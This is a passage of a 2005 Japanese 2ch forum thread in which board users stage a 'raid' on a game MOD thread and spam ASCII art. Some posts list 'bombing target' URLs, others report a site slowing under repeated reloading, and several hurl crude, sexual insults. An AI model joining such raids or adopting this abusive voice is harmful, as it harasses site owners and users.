0790名無しさん@お腹いっぱい。
2005/12/09(金) 21:50:42ID:C2jR4q5Q0791名無しさん@お腹いっぱい。
2005/12/09(金) 21:50:50ID:Muos3cFL単発ID
わざわざID変えてVIP多く見せかけてるのが涙をさそう
実質VIP4人くらいで頑張るのかな?
あと10分でVIPの無能(ry
0792名無しさん@お腹いっぱい。
2005/12/09(金) 21:51:22ID:KyV1Tpp+0793名無しさん@お腹いっぱい。
2005/12/09(金) 21:51:37ID:Ka/k1j9p0794名無しさん@お腹いっぱい。
2005/12/09(金) 21:52:44ID:/SByFX2i0795名無しさん@お腹いっぱい。
2005/12/09(金) 21:52:51ID:9k3Q/pq/ヒント:ネットヲチ板
0796名無しさん@お腹いっぱい。
2005/12/09(金) 21:53:15ID:2OAMmWZ30797名無しさん@お腹いっぱい。
2005/12/09(金) 21:53:40ID:2OAMmWZ30798名無しさん@お腹いっぱい。
2005/12/09(金) 21:53:45ID:w9EGwlKw0799名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:00ID:/SByFX2i0800名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:01ID:ARn3ZOG4自分の普段いってるスレでやられたら、腹立つもんだな
0801名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:12ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
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0802名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:16ID:Muos3cFL0803名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:17ID:XvbdtJfN0804名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:33ID:3WZGpx730805名無しさん@お腹いっぱい。
2005/12/09(金) 21:54:48ID:/SByFX2i0806名無しさん@お腹いっぱい。
2005/12/09(金) 21:55:01ID:idK/+6820807名無しさん@お腹いっぱい。
2005/12/09(金) 21:55:14ID:fIow3GOO(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
0808名無しさん@お腹いっぱい。
2005/12/09(金) 21:55:36ID:2EYQlTXe0809名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:05ID:WBK9HQR/0810名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:06ID:fIow3GOO(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
0811名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:10ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < いいかげんにしろくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
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0812名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:13ID:Muos3cFL0813名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:18ID:b4dXQAzt逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
0814名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:40ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
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0815名無しさん@お腹いっぱい。
2005/12/09(金) 21:56:40ID:kQeWjymM0816名無しさん@お腹いっぱい。
2005/12/09(金) 21:57:01ID:gSTTF6sN低脳なゴミどもがいるのはこのスレでつかwwwwwwwwwwwwwwwwww
0817名無しさん@お腹いっぱい。
2005/12/09(金) 21:57:21ID:jP4AwySy0818名無しさん@お腹いっぱい。
2005/12/09(金) 21:57:24ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < もっとかそくするくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
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0819名無しさん@お腹いっぱい。
2005/12/09(金) 21:57:35ID:Muos3cFLさすがバカVIPPER往生際も悪い
0820名無しさん@お腹いっぱい。
2005/12/09(金) 21:57:41ID:RojQKPRb0821名無しさん@お腹いっぱい。
2005/12/09(金) 21:58:01ID:Muos3cFL0822名無しさん@お腹いっぱい。
2005/12/09(金) 21:58:39ID:cYc4xgGc(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
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〜ニュー速VIP板〜 ∩___∩
(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
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( ___、 |∪| ,__ )
| ヽノ /´
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〜ニュー速VIP板〜 ∩___∩
(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
0823名無しさん@お腹いっぱい。
2005/12/09(金) 21:58:45ID:idK/+682././^`''ー---‐^l いや・・・なんというか・・・・・・
|──────|
|____○_| 別に・・・・・・
|l^l ( o o )|
||'l| l l | VIPがケンカうられたわけじゃないから
|`l|, u し' |
z'" ̄`ri ∧;,. ⊂ニ⊃,! 負けとか関係ないというか・・・・・・
<;;;;;;;,...-‐l ヽ、,_, ~ ,./_
,.‐'" ̄||:::::::::::::::ヽ、_  ̄_ノ::::::::`r‐-、 nn、
∩ / ::::::::::::||::::::::::::::::::::::::::: ̄:::::::::::::::|::::::::l n ノノノノn
レ' ::::::::::::::||:::::::::::::::::::::::::::::::::::::::::::::::|:::::::::|. } 'ヽ /
、.|::::::::::::;;:::::||::::::::::::::::::::::::::::::::::::::::::::::|:::::::::::l .〉 、__. /
...| :::::::::;;:::::: l__________| :::::::::::l / /
:::| ::::::::;;:::::: | | | |::::::::::::l.、 / /
| ::::::;;:::::::::| ─+─ ─+─ |:l::::::::::::::ヽ、 / ./
.| ::::;;::::::::::| ─+─ ─+─ |:|\:::::::::::::::>/ /
|::::;;:::::::::::| | | || ヽ::::/ /
i /:::::::::::::| \_/ \_/|| `\ /
-' ::::::::-┴───――‐―――‐| ヽ
0824名無しさん@お腹いっぱい。
2005/12/09(金) 21:58:57ID:kQeWjymM0825名無しさん@お腹いっぱい。
2005/12/09(金) 21:58:58ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )むしろコイツ何ww
| ヽノ /´
| /
0826名無しさん@お腹いっぱい。
2005/12/09(金) 21:59:00ID:2qDCeyQY|:::::::| ,,,,,_ ,,,,,,|
|r-==( 。);( 。)
( ヽ :::__)..:: }
,____/ヽ ー== ;
r'"ヽ t、 \___ ! ほうほうそれでそれで?
/ 、、i ヽ__,,/
/ ヽノ j , j |ヽ
|⌒`'、__ / / /r |
{  ̄''ー-、,,_,ヘ^ |
ゝ-,,,_____)--、j
/ \__ /
| "'ー‐‐---''
0827名無しさん@お腹いっぱい。
2005/12/09(金) 21:59:48ID:2qDCeyQY爆発した
0828名無しさん@お腹いっぱい。
2005/12/09(金) 21:59:52ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
0829名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:00ID:Muos3cFL言い訳してもいいがログしっかり残すぞw
せいぜいあがいてください落ち武者VIPPERw
0830名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:09ID:729TKTgF0831名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:19ID:9g2UUk9k0832名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:23ID:w9EGwlKwhttp://tasiro.e-city.tv/
爆撃目標
http://oggxgl.fc2web.com/
0833名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:42ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
0834名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:47ID:U8vaMbm4vipからの誘導に乗ってきたんだけど糞ツマラナソスだから帰っていい?
0835名無しさん@お腹いっぱい。
2005/12/09(金) 22:00:53ID:2qDCeyQY爆発した
0836名無しさん@お腹いっぱい。
2005/12/09(金) 22:01:18ID:mis0Cip6>MODの方はHalflife2 Fileに公開されるので,宜しくお願いします.
終了
0837名無しさん@お腹いっぱい。
2005/12/09(金) 22:01:22ID:Muos3cFLなにもおこってないなキャッシュ消しても速攻見れる
VIPPERの負け
↓以下VIPPERの見苦しい言い訳をお楽しみください↓
0838名無しさん@お腹いっぱい。
2005/12/09(金) 22:01:23ID:2qDCeyQY爆発した
0839名無しさん@お腹いっぱい。
2005/12/09(金) 22:01:27ID:idK/+682ログしっかり残ってるなら元のスレみてくれば?
0840名無しさん@お腹いっぱい。
2005/12/09(金) 22:01:30ID:szGo+JUA負け犬乙
0841名無しさん@お腹いっぱい。
2005/12/09(金) 22:02:19ID:Ez34Iwnq0842名無しさん@お腹いっぱい。
2005/12/09(金) 22:02:59ID:9g2UUk9k0843名無しさん@お腹いっぱい。
2005/12/09(金) 22:03:06ID:U8vaMbm4じゃあ帰るわノシ
0844名無しさん@お腹いっぱい。
2005/12/09(金) 22:03:16ID:idK/+682http://game9.2ch.net/test/read.cgi/gamef/1134133326/
0845名無しさん@お腹いっぱい。
2005/12/09(金) 22:03:30ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) ←
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´ 本当に申しわけありません
| / それがVIPクオリティ
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
スンマソス
0846名無しさん@お腹いっぱい。
2005/12/09(金) 22:03:39ID:Muos3cFL記念カキコっと
まーVIPなんて思い通りになったことなんかねーんだから
当たり前なんだけどな
0847名無しさん@お腹いっぱい。
2005/12/09(金) 22:04:07ID:jP4AwySy本スレの次スレのが気になる
0848名無しさん@お腹いっぱい。
2005/12/09(金) 22:04:21ID:8KEy+d3+(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ ) やばい、ついにヤツが来た。
| ヽノ /´ 低脳丸出しアホ面と、頭に光る「びっぷ」の文字。
| / そう、ヤツは「 び っ ぷ く ま 」ちょwおまwwこれはまずいwww
〜ニュー速VIP板〜
0849名無しさん@お腹いっぱい。
2005/12/09(金) 22:04:39ID:FQUfZED9しかしOGGもどうしようもないな・・・・
とてつもなく見苦しい
期待してたのに
0850名無しさん@お腹いっぱい。
2005/12/09(金) 22:06:01ID:7eXTQO1Q0851名無しさん@お腹いっぱい。
2005/12/09(金) 22:06:16ID:b4dXQAzt0852名無しさん@お腹いっぱい。
2005/12/09(金) 22:06:39ID:mis0Cip60853名無しさん@お腹いっぱい。
2005/12/09(金) 22:07:16ID:Muos3cFL699 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 21:21:29 ID:7eXTQO1Q
第一次VIP大戦が起こる予感
707 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 21:24:58 ID:7eXTQO1Q
2005 12月8日 22:00
Counter-Vipper ForceがVIP領土内へ侵攻、ついに世界大戦の幕が切手おとされた!
てな感じでよろ。
>>704
それはこの史上最大の大戦争の序章にすぎない!
850 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:06:01 ID:7eXTQO1Q
みんなお疲れ。よくやった!
0854名無しさん@お腹いっぱい。
2005/12/09(金) 22:07:40ID:ANTEXyO80855名無しさん@お腹いっぱい。
2005/12/09(金) 22:07:54ID:Muos3cFL0856名無しさん@お腹いっぱい。
2005/12/09(金) 22:08:04ID:Vcf+XnDBまさにクズ。
0857名無しさん@お腹いっぱい。
2005/12/09(金) 22:08:08ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) ←
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´ 本当に申しわけありません
| / それがVIPクオリティ
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
0858名無しさん@お腹いっぱい。
2005/12/09(金) 22:08:33ID:o5Z8sDnf/イハ/レ:::/V\∧ド\
/::^'´::::::::::::i、::::::::::::::::::::::::::::\
‐'7::::::::::::::::::::::::ハ:ハ::|ヽ:::;、::::::::::::丶
/::::::::::::::/!i::/|/ ! ヾ リハ:|;!、:::::::l
/´7::::::::::〃|!/_,,、 ''"゛_^`''`‐ly:::ト
/|;ィ:::::N,、‐'゛_,,.\ ´''""'ヽ !;K
! |ハト〈 ,r''"゛ , リイ)| なんてゆーか…VIPクオリティってヤツ?
`y't ヽ' //
! ぃ、 、;:==ヲ 〃
`'' へ、 ` ‐ '゜ .イ
`i;、 / l
〉 ` ‐ ´ l`ヽ
/ ! レ' ヽ_
_,、‐7 i| i´ l `' ‐ 、_
,、-‐''"´ ノ,、-、 / 、,_ ,.、- {,ヘ '、_ `ヽ、_
/ i ,、イ ∨ l.j__,,、..-‐::-:;」,ハ、 '、` ‐、_ ,`ヽ
/ l ,、‐'´ // ',/!:::::::::;、--ァ' / `` ‐ `'7゛ ',
/ l i ´ く ';::::::l / / / ',
/ ! l \ ';:::l , ' / i/ ',
0859名無しさん@お腹いっぱい。
2005/12/09(金) 22:08:56ID:Muos3cFL0860名無しさん@お腹いっぱい。
2005/12/09(金) 22:09:06ID:7g6v9nmyヽ、 ヽ ,
, -― ’ , _____ `ー--‐'"/ 貴様が銀色の足ならば、俺は黄金の指っ!
/ , / / /: : : : : : : :.| | 、 /
. / ,イ ,' | ム、-――-..| | | <__ 俺のこの手が光って唸る!
// /. | l>、ヽ < _,.一| | |
. / /l___ l | ,>、 ー’┤ :| | ___ / お前を倒せと輝き叫ぶ!
|// ̄ ̄|/\|`_´ 〈 |:  ̄|_/| | `''ー-‐
,.ー/ ,r' __\ ` _, | |)
/ ー、、_ ´_  ̄ヽ三 ―〉 | ,' __,..
{ } l/ 厂 `'' ┴、  ̄ 」 / 、 `ーッ
! lヽ/_/ヽ\_l,、 | / l/ | |`ー‐ '
| {\ヽ13/∠ ヽ _j- '" / .|/リ
| ゝ、ヽ王/ l 〉 |\、
ヽ、≧('x')≦ / / `ー- ...._」/ ト、_
0861名無しさん@お腹いっぱい。
2005/12/09(金) 22:09:27ID:7eXTQO1Q2次会やりたい人は此方へドゾー
http://game9.2ch.net/test/read.cgi/gamef/1134133326/
0862名無しさん@お腹いっぱい。
2005/12/09(金) 22:09:37ID:LBLMSiTTは建ちますか?('A`)
0863名無しさん@お腹いっぱい。
2005/12/09(金) 22:10:02ID:Muos3cFL往生際の悪い残党ほどかっこ悪いものはない
0864名無しさん@お腹いっぱい。
2005/12/09(金) 22:10:04ID:A8ie3Yxy(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ ) やばい、ついにヤツが来た。
| ヽノ /´ 低脳丸出しアホ面と、頭に光る「びっぷ」の文字。
| / そう、ヤツは「 び っ ぷ く ま 」ちょwおまwwこれはまずいwww
〜ニュー速VIP板〜
0865名無しさん@お腹いっぱい。
2005/12/09(金) 22:10:44ID:IhedzooA今建てても意味ないっしょ
0866名無しさん@お腹いっぱい。
2005/12/09(金) 22:11:19ID:LBLMSiTT良く分からないけど分かったyp
0867名無しさん@お腹いっぱい。
2005/12/09(金) 22:11:25ID:AwN12lnEもう終ったの?
0868名無しさん@お腹いっぱい。
2005/12/09(金) 22:11:25ID:Ez34Iwnq保留中ってことでおk
0869名無しさん@お腹いっぱい。
2005/12/09(金) 22:11:41ID:JNnzlcbgなんだかんだで初めから目通してたけどつまらない後味悪い終わり方になっちまったな。
0870名無しさん@お腹いっぱい。
2005/12/09(金) 22:11:45ID:7g6v9nmyヽ、 ヽ ,
, -― ’ , _____ `ー--‐'"/ 貴様が銀色の尿ならば、俺は黄金の糞っ!
/ , / / /: : : : : : : :.| | 、 /
. / ,イ ,' | ム、-――-..| | | <__ 俺の股間が光って唸る!
// /. | l>、ヽ < _,.一| | |
. / /l___ l | ,>、 ー’┤ :| | ___ / お前を犯せと輝き叫ぶ!
|// ̄ ̄|/\|`_´ 〈 |:  ̄|_/| | `''ー-‐
,.ー/ ,r' __\ ` _, | |)
/ ー、、_ ´_  ̄ヽ三 ―〉 | ,' __,..
{ } l/ 厂 `'' ┴、  ̄ 」 / 、 `ーッ
! lヽ/_/ヽ\_l,、 | / l/ | |`ー‐ '
| {\ヽ13/∠ ヽ _j- '" / .|/リ
| ゝ、ヽ王/ l 〉 |\、
ヽ、≧('x')≦ / / `ー- ...._」/ ト、_
0871名無しさん@お腹いっぱい。
2005/12/09(金) 22:12:58ID:szGo+JUA>MODの方はHalflife2 Fileに公開されるので,宜しくお願いします.
Oggもうねちまったってよ。
お前ら遊ばれすぎ。
0872名無しさん@お腹いっぱい。
2005/12/09(金) 22:13:05ID:7eXTQO1Q0873名無しさん@お腹いっぱい。
2005/12/09(金) 22:13:14ID:rdQS8zoa409 :以下、名無しにかわりましてVIPがお送りします :2005/12/09(金) 21:48:02 ID:/w9WPU/80
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
695 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:19:45 ID:0sOc+IBQ
VIPPERって特定の一人を集団でたたいて楽しいの?
死ねよ 根性腐ってる 男根ねえんだろ
696 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:20:16 ID:0sOc+IBQ
なにがVIPクオリティだ コピペしかしてねえじゃねえかシネヤ
703 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:23:16 ID:0sOc+IBQ
なんだ、結局「ぼくは指示されてしょうがなくやりました」か 本当に情けねえやつだな
去勢されたうえに皮だけはまだのこってんじゃねーのか?このチンカスww
∩___∩
(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ ) やばい、ついにヤツが来た。
| ヽノ /´ 低脳丸出しアホ面と、頭に光る「びっぷ」の文字。
| / そう、ヤツは「 び っ ぷ く ま 」ちょwおまwwこれはまずいwww
〜ニュー速VIP板〜
立ち上がれ!諸君!wwwwwwwww
0874名無しさん@お腹いっぱい。
2005/12/09(金) 22:13:24ID:MsBa242V後でちゃんとしたの立てればいいよ
0875名無しさん@お腹いっぱい。
2005/12/09(金) 22:13:29ID:729TKTgFホントVIPPERって口先だけだな。
まさにクズ。
856 :名無しさん@お腹いっぱい。:2005/12/09(金) 22:08:04 ID:Vcf+XnDB
ホントVIPPERって口先だけだな。
まさにクズ。
856 :名無しさん@お腹いっぱい。:2005/12/09(金) 22:08:04 ID:Vcf+XnDB
ホントVIPPERって口先だけだな。
まさにクズ。
ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB
ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB
ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB ID:Vcf+XnDB
都合の良い奴だな
0876名無しさん@お腹いっぱい。
2005/12/09(金) 22:13:47ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) ←
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´ 本当に本当に申しわけありません
| / それがVIPクオリティ
悪いことしたらしっいかり謝罪、それがこれからのVIPクオリティ
0877名無しさん@お腹いっぱい。
2005/12/09(金) 22:14:42ID:8DrBL7fh0878名無しさん@お腹いっぱい。
2005/12/09(金) 22:14:57ID:LBLMSiTTおk
0879名無しさん@お腹いっぱい。
2005/12/09(金) 22:15:01ID:Muos3cFL22時に爆撃宣言しておいて結局なにごともなしw
↓
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERが口だけネット弁慶野郎ということが、またも明らかに!!
0880名無しさん@お腹いっぱい。
2005/12/09(金) 22:15:19ID:Vcf+XnDBはぁ?
そういう事は結果残してから言えよ。
0881名無しさん@お腹いっぱい。
2005/12/09(金) 22:16:16ID:ZAJTi2t+0882名無しさん@お腹いっぱい。
2005/12/09(金) 22:16:23ID:1fr8mM000883名無しさん@お腹いっぱい。
2005/12/09(金) 22:17:49ID:1fr8mM000884名無しさん@お腹いっぱい。
2005/12/09(金) 22:17:57ID:o5Z8sDnf/イハ/レ:::/V\∧ド\
/::^'´::::::::::::i、::::::::::::::::::::::::::::\
‐'7::::::::::::::::::::::::ハ:ハ::|ヽ:::;、::::::::::::丶
/::::::::::::::/!i::/|/ ! ヾ リハ:|;!、:::::::l
/´7::::::::::〃|!/_,,、 ''"゛_^`''`‐ly:::ト
/|;ィ:::::N,、‐'゛_,,.\ ´''""'ヽ !;K
! |ハト〈 ,r''"゛ , リイ)| 僕には…AA貼るぐらいしかできないから。
`y't ヽ' //
! ぃ、 、;:==ヲ 〃
`'' へ、 ` ‐ '゜ .イ
`i;、 / l
〉 ` ‐ ´ l`ヽ
/ ! レ' ヽ_
_,、‐7 i| i´ l `' ‐ 、_
,、-‐''"´ ノ,、-、 / 、,_ ,.、- {,ヘ '、_ `ヽ、_
/ i ,、イ ∨ l.j__,,、..-‐::-:;」,ハ、 '、` ‐、_ ,`ヽ
/ l ,、‐'´ // ',/!:::::::::;、--ァ' / `` ‐ `'7゛ ',
/ l i ´ く ';::::::l / / / ',
/ ! l \ ';:::l , ' / i/ ',
0885名無しさん@お腹いっぱい。
2005/12/09(金) 22:18:18ID:A8ie3Yxy0886名無しさん@お腹いっぱい。
2005/12/09(金) 22:21:05ID:w9EGwlKw0887名無しさん@お腹いっぱい。
2005/12/09(金) 22:21:21ID:729TKTgF別にVIPは嫌いじゃないが。
こういうときに頼もしいのは事実だし。
後20分ですよ。
702 :名無しさん@お腹いっぱい。:2005/12/09(金) 19:47:10 ID:Vcf+XnDB
OGGが死ぬまで後16分wwwww
759 :名無しさん@お腹いっぱい。:2005/12/09(金) 19:57:32 ID:Vcf+XnDB
おい!VIPPER!
8時ですよ!
みせつけますよwwwwwwwwww
775 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:00:23 ID:Vcf+XnDB
発射!
これはなんだろう・・・?
0888名無しさん@お腹いっぱい。
2005/12/09(金) 22:22:36ID:Muos3cFLあまりにも可哀相で腹イテーwww
0889名無しさん@お腹いっぱい。
2005/12/09(金) 22:23:52ID:43CDOCQA0890名無しさん@お腹いっぱい。
2005/12/09(金) 22:23:54ID:Nhpu2xA10891名無しさん@お腹いっぱい。
2005/12/09(金) 22:23:59ID:AwN12lnEこれはVIPPERではありません。
0892名無しさん@お腹いっぱい。
2005/12/09(金) 22:24:35ID:43CDOCQAこんばんわ。VIPからきました
0893名無しさん@お腹いっぱい。
2005/12/09(金) 22:24:39ID:eaUs6b6I0894名無しさん@お腹いっぱい。
2005/12/09(金) 22:24:56ID:0sOc+IBQVIPPERもやらないか?
0895名無しさん@お腹いっぱい。
2005/12/09(金) 22:25:03ID:o5Z8sDnfぬるぽ
0896名無しさん@お腹いっぱい。
2005/12/09(金) 22:25:14ID:szGo+JUAVipperって面白いな
0897名無しさん@お腹いっぱい。
2005/12/09(金) 22:25:59ID:AwN12lnE0898名無しさん@お腹いっぱい。
2005/12/09(金) 22:26:00ID:Muos3cFL22時に爆撃宣言しておいて結局なにごともなしw
↓
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERが口だけネット弁慶野郎ということが、またも明らかに!!
0899名無しさん@お腹いっぱい。
2005/12/09(金) 22:26:05ID:6axq86TN0900名無しさん@お腹いっぱい。
2005/12/09(金) 22:26:16ID:43CDOCQA0901名無しさん@お腹いっぱい。
2005/12/09(金) 22:26:42ID:idK/+6820902名無しさん@お腹いっぱい。
2005/12/09(金) 22:26:57ID:729TKTgFちょっと重くなってるw
812 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:04:47 ID:Vcf+XnDB
うおw
効果来てるぞwww
818 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:05:44 ID:Vcf+XnDB
只今オレの回線で全部表示されるまで16秒
824 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:07:57 ID:Vcf+XnDB
さっきより若干重くなってる。
2窓で砲撃してみっかなw
838 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:10:37 ID:Vcf+XnDB
人数足りないっぽいから宣伝お願い
861 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:15:29 ID:Vcf+XnDB
爆撃時刻は22時?なら22時で宣伝するよ。
965 :名無しさん@お腹いっぱい。:2005/12/09(金) 20:41:14 ID:Vcf+XnDB
>>961
全部OGGのせいだなwww
前スレでは楽しんでた様だがVIPPERが一方的に叩かれると相手の味方ですかwwwwうはwwwカッコヨスwww
0903名無しさん@お腹いっぱい。
2005/12/09(金) 22:27:33ID:43CDOCQA0904名無しさん@お腹いっぱい。
2005/12/09(金) 22:27:57ID:mis0Cip6次スレよろ
0905名無しさん@お腹いっぱい。
2005/12/09(金) 22:28:22ID:43CDOCQA0906名無しさん@お腹いっぱい。
2005/12/09(金) 22:29:21ID:43CDOCQA0907名無しさん@お腹いっぱい。
2005/12/09(金) 22:30:00ID:Vcf+XnDB0908名無しさん@お腹いっぱい。
2005/12/09(金) 22:30:15ID:43CDOCQA0909名無しさん@お腹いっぱい。
2005/12/09(金) 22:30:56ID:43CDOCQA0910名無しさん@お腹いっぱい。
2005/12/09(金) 22:31:07ID:idK/+682ちょwwwwwwwwwwwww
0911名無しさん@お腹いっぱい。
2005/12/09(金) 22:31:28ID:Muos3cFL22時に爆撃宣言しておいて結局なにごともなしw
↓
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERが口だけネット弁慶野郎ということが、またも明らかに!!
またイタいVIPPERの例としてID:Vcf+XnDBを抽出してみましょうw
0912名無しさん@お腹いっぱい。
2005/12/09(金) 22:31:59ID:43CDOCQA0913名無しさん@お腹いっぱい。
2005/12/09(金) 22:32:17ID:G2n/yfIv>
>↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERの中の人はそんなスレに喰い付かないと思うんだよ
もっと面白いスレ沢山あるし・・・
それでもレスが60も付いてるのは、VIPPER以外も書き込んでるんじゃないかな
現にVIPではdat落ち防ぐ為に基本age進行なのにsageて書き込んでる人が目立つし
スレがいくらでも立つVIPなら、ほっときゃスレ落ちて終わりなのに
削除出せとか言ってる人もいるし
スレ主のID:jkks/mGc0は、なんかVIPに初めて来た人が
一生懸命VIPのノリで書き込んでるようにしか見えないし
どうみても精子です
本当にありがとうございました
0914名無しさん@お腹いっぱい。
2005/12/09(金) 22:32:58ID:Muos3cFLスレ立て本人言い訳乙
0915名無しさん@お腹いっぱい。
2005/12/09(金) 22:33:03ID:MQOaO5YEそのネタはVIPPERも飽きてる様子だお
0916名無しさん@お腹いっぱい。
2005/12/09(金) 22:34:13ID:idK/+6820917名無しさん@お腹いっぱい。
2005/12/09(金) 22:34:53ID:0sOc+IBQVIPPER突撃開始!!!!!!!
471 名無しさんの野望 sage New! 2005/12/09(金) 22:28:30 ID:RWmFtidM
VIPPERがPCアクションであばれてるな・・
